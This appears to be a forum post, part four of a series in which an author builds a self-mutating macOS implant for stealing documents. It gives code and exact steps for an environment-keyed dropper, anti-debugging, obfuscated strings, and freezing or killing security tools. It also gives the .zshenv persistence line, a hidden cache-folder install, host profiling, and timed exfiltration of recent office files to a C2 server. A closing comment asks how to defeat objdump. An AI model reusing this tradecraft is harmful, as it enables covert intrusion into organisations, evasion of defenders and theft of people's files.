Self-mutating macOS implant: Part 4

Shenanigans

So far, we’ve covered how the engine mutates code and how the reflective loader maps it into memory. What remains is the operational workflow once it reaches a target. The engine executes in three primary the dropper, the mut8 entry, and the payload.

The dropper is the only component that interacts with disk outside of operator control. It is a standalone Mach-O executable containing the AES-encrypted payload within a custom section.

extern unsigned char _foo_start[] __asm__("section$start$__DATA$__rsrc");
extern unsigned char _foo_end[]   __asm__("section$end$__DATA$__rsrc");

The linker stuffs the AES-encrypted payload into __DATA,__rsrc. At runtime, the dropper checks the environment domain suffix, network prefix, sentinel file and runs those through SHA-256 a bunch of times to get the AES key. Then it tries to decrypt the blob. If the magic number (0xfeedfacf) isn’t right wrong env, bad key, corrupted blob it just unlinks itself and quits. Silent, clean, no crashes.

Only the real gets touched [PAUSE] If decryption works, the dropper drops the payload in a temp folder as p.dylib, dlopens it, finds the entry symbol __8d3942b93e489c7a with dlsym, calls it, then cleans up dlclose, delete temp file, delete temp folder, delete itself. Gone. The dropper is disposable scaffolding.

We use the system dlopen here because libloader.a lives in the payload, not the dropper. The entry name looks like a random hex hash on purpose. Nothing matches it in symbol DBs. Only dlsym can see it. That’s it.

The key derivation deserves a shoutout it’s why the dropper can’t run in a sandbox. Target-specific stuff folder GUIDs, registry values gets hashed thousands of times. Wrong machine? Garbage bytes. Fails the magic check. Piece nukes itself.

We do the same thing, but with three factors: domain suffix, network prefix, and a sentinel file. All three have to match.

The operator fills these in at build time based on recon. Stuff like job postings mention the VPN client, DNS records leak the domain, and a quick port scan shows the internal range. The build tool takes those three strings, concatenates them with pipe delimiters, then runs SHA‑256 over the result about 1000 times.

The first 16 bytes become the AES key. The last 16 bytes become the IV.

Why not just use the hardware UUID or something? Because a UUID locks you to a single machine. Domain + network + file lets you target an entire organization. You build one dropper and it works on any machine inside E-Corp’s network that has their VPN client installed.

The TARGET_DOMAIN, TARGET_NETWORK, and TARGET_FILE names don’t mean anything special they’re just there for clarity. In real ops everything would be heavily obfuscated. Those strings get compiled into the dropper with -include at build time.

Of course this has its pros and cons. It’s not a panacea. Matter of fact, treat it like a challenge see if you can get the piece to run or decrypt on your own machine. There are ways. You just have to find them.

Knowing the target profile doesn’t help you decrypt the payload you still need to actually be on the target network, with the right hostname suffix and the sentinel file present.

And if you’re already there… well, you’re the target.

Once the dropper calls __8d3942b93e489c7a, we’re inside the stub. This is where the metamorphic engine kicks in. First thing it does:

int __8d3942b93e489c7a(int argc, char **argv) {
    extern bool harden_check(void);
    if (!harden_check()) return 1;

harden_check() calls deny_attach() then is_debugged().

deny_attach() resolves ptrace via dlsym (symbol XOR’d with 0x11), then calls ptrace(PT_DENY_ATTACH, 0, 0, 0) (syscall 26, request 31). Any debugger that tries to attach after this? SEGV. lldb, dtrace, Instruments all dead. Apple documents it in kernel source, but not in any public API. Same trick every iOS jailbreak detector uses, but we’re on macOS.

is_debugged() checks P_TRACED via sysctl. The sysctl symbol itself is resolved dynamically through dlsym with an XOR key, never linked statically, so nm shows nothing:

static int call_sysctl(int *mib, u_int cnt, void *old, size_t *oldsz) {
    char sym[] = {0x73^0x20, 0x79^0x20, 0x73^0x20, 0x63^0x20,
                  0x74^0x20, 0x6C^0x20, 0};
    for (int i = 0; sym[i]; i++) sym[i] ^= 0x20;
    sysctl_fn fn = (sysctl_fn)dlsym(RTLD_DEFAULT, sym);

If either check fails, we return 1 and the dropper’s cleanup path runs. No self-destruct yet that’s reserved for the payload phase. At this point, nothing’s planted, so the only cleanup needed is the dropper itself, which handles its own deletion.

Before we start sending anything out, we neutralize anything that might catch the traffic. Target list is 13 processes names stored as DJB2 hashes, encrypted with ChaCha20. Key comes from the vault key. I won’t name them so Patrick Wardle doesn’t get mad :slight_smile:

state[12] = 0; state[13] = 0x48554e54; 

Runtime decrypts the table, enumerates processes via proc_listpids(PROC_ALL_PIDS), hashes each name with DJB2, compares. No process names ever appear in the binary not even encrypted. Just hashes of hashes.

Killing isn’t smart (tell that to the government) launchd just restarts. We check for plists in /Library/LaunchDaemons/ or ~/Library/LaunchAgents/. If present, it’s launchd-managed. Those get SIGSTOP. launchd sees them as “running” (no restart), but they’re frozen. Everything else SIGTERM, wait 100ms, SIGKILL.

After neutralization we verify stopped processes are actually frozen then Decrypted hash table wiped immediately.

For the config strings the usual suspects live in an encrypted vault. Three entries, each ChaCha20 encrypted with per-entry derived keys. Hashes together ChaCha20 sigma constants, the encrypted hunt table blob, all three vault nonces, and the ASLR slide So the idea is That last one is key. ASLR slide changes every execution. So the master key is different every time. Can’t extract the key from a memory dump of one execution and use it on another.

Why ChaCha20 for the vault instead of AES? Cus ChaCha20 is a stream cipher. Decrypt exactly the bytes we need without padding, without block alignment, without a cipher context. Entire decryption is 15 lines with no heap allocation. AES-CBC would need CommonCrypto which means more framework surface. The vault predates the RSA decision and there’s no reason to change it.

Persistence

After mutation and fork, the grandchild gets called. First thing it does is plant itself.

Binary relocates to ~/Library/Caches/.com.apple..<seed>/agent where <seed> is a deterministic hex we get from the machine’s hardware identity (IOPlatformUUID + serial, hashed). Same machine always gets same path. Matters cus cleanup needs to find the binary later without storing the path anywhere.

Why ~/Library/Caches/? User-writable, expected to contain random Apple-looking directories, most backup tools exclude it. Dot prefix hides it in Finder. .com.apple. prefix blends with “legitimate” Apple cache dirs. So doing ls ~/Library/Caches/ you get dozens of .com.apple.* directories and probably won’t notice ours.

Persistence is .zshenv. Not LaunchAgent, not cron, not login items. .zshenv is sourced by zsh on EVERY invocation - interactive, non-interactive, scripts, Terminal.app, iTerm2, SSH, even system() calls from other programs if default shell is zsh (which it is since Catalina). Most reliable persistence on modern macOS without root at least to my dumbass

So Inject [ -z "$(pgrep -xf '/path/to/agent')" ] && (exec {path} &>/dev/null &)

pgrep guard prevents stacking. exec replaces the subshell, &>/dev/null suppresses output, & backgrounds. Sees nothing.

Every string fragment built via volatile stack writes. Compiler cannot fold em into .rodata shi like

char g1[9]; { volatile char *v=(volatile char*)g1;
    v[0]=0x5b; v[1]=0x20; v[2]=0x2d; v[3]=0x7a; v[4]=0x20;
    v[5]=0x22; v[6]=0x24; v[7]=0x28; v[8]=0; }

strings on the binary will never show pgrep, zshenv, exec, or any fragment of the persistence line.

The piece doesn’t do everything at once. Timing model based on a marker file (.ts) storing install timestamp.So first run. Relocate, install .zshenv, write marker, exit. Nothing else. Binary has been on disk for zero seconds of suspicious activity.

then less than 1 hour since install? Exit immediately. We do literally nothing for an hour. After 1 hour we go active. Hunt security tools, load curl via dlopen, decrypt vault, fetch dead-drop. Dead-drop is a pastebin/gist so fetch pubkey, profile host via sysctl (hostname, kernel, model, cpus, ram, user), encrypt with RSA hybrid envelope, POST to C2.

After 2 hours, file collection. Spotlight query for files modified OR opened in last 7 days matching target extensions (pdf, doc, docx, xls, xlsx, csv, ppt, key, pgp). Each file individually packed, zlib compressed, RSA+AES sealed, POSTed to C2 with 30-90s random jitter between files. Five retries with exponential backoff.

Then strip our line from .zshenv, delete binary, rmdir cache dir. Gone you could make this to hide at least a month in the machine this give you implant time to gather as much new and old docs as possible but yeah you do you ..

Exfil Crypto

RSA hybrid envelope we uses Security.framework exclusively. No OpenSSL, no LibreSSL, no dlopen’d libcrypto. I tried the dlopen route first macOS blocks it with “loading libcrypto in an unsafe way” and aborts the process. Apple moved system LibreSSL into the dyld shared cache and added a specific check preventing third-party binaries from loading it. Security.framework has no such restriction cus it’s first-party and already linked.

Envelope works like PGP. Random AES-128 key and IV per file:

CCRandomGenerateBytes(aes_key, 16);
CCRandomGenerateBytes(iv, 16);

Data encrypted with AES-128-CBC via CommonCrypto’s CCCrypt(). Then 32-byte key material (key || IV) encrypted with RSA-OAEP-SHA256 via SecKeyCreateEncryptedData():

CFDataRef ek_cf = SecKeyCreateEncryptedData(key, 
    kSecKeyAlgorithmRSAEncryptionOAEPSHA256, km_data, NULL);

Wire format: [4:ek_len][ek][4:ct_len][ct] - lengths in network byte order. As the Operator’s server holds RSA private key, reverses the process.

Why RSA-2048 not curve25519? Cus Security.framework supports RSA natively with zero additional code.

PEM parser includes custom base64 decoder built on stack. Can’t use SecDecodeTransformCreate() Apple deprecated entire SecTransform API in macOS 13. Can’t use NSData base64 Objective-C runtime overhead. So we decode ourselves, 20 lines, no heap for the decode table.


3 Likes

Is it feasible to employ a ptrace hooking mechanism as an alternative to deny_attach? Additionally, if someone were to use objdump, are there any methods available to prevent them from doing so?